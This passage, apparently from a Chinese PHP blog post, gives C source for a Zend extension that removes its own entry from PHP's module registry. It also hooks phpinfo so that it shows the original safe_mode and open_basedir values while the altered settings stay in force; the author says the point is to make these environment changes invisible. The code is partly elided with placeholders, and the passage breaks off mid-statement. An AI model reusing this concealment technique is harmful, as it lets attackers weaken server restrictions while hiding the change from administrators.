#008000">&nbsp;{{{&nbsp;wfw_functions[]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;*<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;*&nbsp;Every&nbsp;user&nbsp;visible&nbsp;function&nbsp;must&nbsp;have&nbsp;an&nbsp;entry&nbsp;in&nbsp;wfw_functions[].<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>zend_function_entry&nbsp;wfw_functions[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;PHP_FE(your_ext_function</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif">..</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif">..</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;{</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">}&nbsp;</span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Must&nbsp;be&nbsp;the&nbsp;last&nbsp;line&nbsp;in&nbsp;wfw_functions[]&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;}}}&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>zend_module_entry&nbsp;phper_module_entry&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">if&nbsp;ZEND_MODULE_API_NO&nbsp;&gt;=&nbsp;20010901</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;STANDARD_MODULE_HEADER</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">endif</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">phper</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;PHP_MINIT(phper)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;PHP_MSHUTDOWN(phper),&nbsp;&nbsp;//同时我们这里也就不需要以下函数了.全部替换为NULL,用zend&nbsp;extension里的同功能函数代替</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;PHP_RINIT(phper),&nbsp;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;PHP_RSHUTDOWN(phper),&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;PHP_MINFO(phper),</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">if&nbsp;ZEND_MODULE_API_NO&nbsp;&gt;=&nbsp;20010901</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0.1</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Replace&nbsp;with&nbsp;version&nbsp;number&nbsp;for&nbsp;your&nbsp;extension&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">endif</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;STANDARD_MODULE_PROPERTIES<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_op_array_ctor(zend_op_array&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">op_array)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_op_array_dtor(zend_op_array&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">op_array)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(wfw_zend_extension_entry</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">resource_number&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;op_array</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">reserved[wfw_zend_extension_entry</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">resource_number]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;int&nbsp;wfw_startup_wrapper(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">ext)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;int&nbsp;res;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;php_printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">php&nbsp;startup_wrapper\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;ze</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">startup&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;old_startup;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;res&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;old_startup(ext);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_module_startup(</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;res;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;int&nbsp;wfw_module_startup(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">extension)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;zend_module_entry&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">module_entry_ptr;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;int&nbsp;resid;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;TSRMLS_FETCH();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;php_printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">php_startup\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">ifndef&nbsp;ZEND_ENGINE_2</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;zend_register_functions(wfw_functions</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;MODULE_PERSISTENT&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">else</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;zend_register_functions(</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;wfw_functions</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;MODULE_PERSISTENT&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">endif</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(zend_hash_find(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">module_registry</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfwcbd</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfwcbd</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;(void&nbsp;</span><span style="COLOR: #000000">**</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">module_entry_ptr)</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">SUCCESS)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(extension)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;extension</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">handle&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;module_entry_ptr</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">handle;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;}&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;zend_extension&nbsp;ext;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;ext&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;wfw_zend_extension_entry;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;ext</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">handle&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;module_entry_ptr</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">handle;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;zend_llist_add_element(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">zend_extensions</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">ext);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;extension&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;zend_llist_get_last(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">zend_extensions);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;module_entry_ptr</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">handle&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;//删除module_registry中的信息<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;//</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(SUCCESS&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;zend_hash_del(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">module_registry</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfwcbd</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfwcbd</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)))&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;FAILURE;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;FAILURE;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;resid&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;zend_get_resource_handle(extension);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_zend_extension_entry</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">resource_number&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;resid;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;SUCCESS;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_module_active()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">php_printf("wfw&nbsp;active!\r\n");</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;do_something_while_active();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_module_deactive()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">php_printf("wfw&nbsp;deactive!\r\n");</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;do_something_while_deactive();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_shutdown(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">extension)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">php_printf("wfw&nbsp;shutdown\r\n");</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;do_something_while_shutdown();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>再配合hook phpinfo等函数,就可以让我们对php环境变量做的修改看不出来:</p>
<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">PHP_FUNCTION(hooked_phpinfo)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;int&nbsp;argc&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;ZEND_NUM_ARGS();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;long&nbsp;flag;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">恢复设置</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;zend_alter_ini_entry(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">safe_mode</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">safe_mode</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;old_safe_mode</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(old_safe_mode)&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_SYSTEM</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_STAGE_ACTIVATE);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;zend_alter_ini_entry(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">open_basedir</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">open_basedir</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;old_open_basedir</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(old_open_basedir)&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_SYSTEM</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_STAGE_ACTIVATE);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif"><img src="http://www.phpweblog.net/Images/dot.gif"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif"><img src="http://www.phpweblog.net/Images/dot.gif"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(zend_parse_parameters(argc&nbsp;TSRMLS_CC</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">|l</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">flag)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;FAILURE)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">argc)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;flag&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;PHP_INFO_ALL;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;php_start_ob_buffer(</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">4096</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;php_print_info(flag&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;php_end_ob_buffer(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">重新设置环境</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;zend_alter_ini_entry(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">safe_mode</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">safe_mode</span><span style="COLOR: 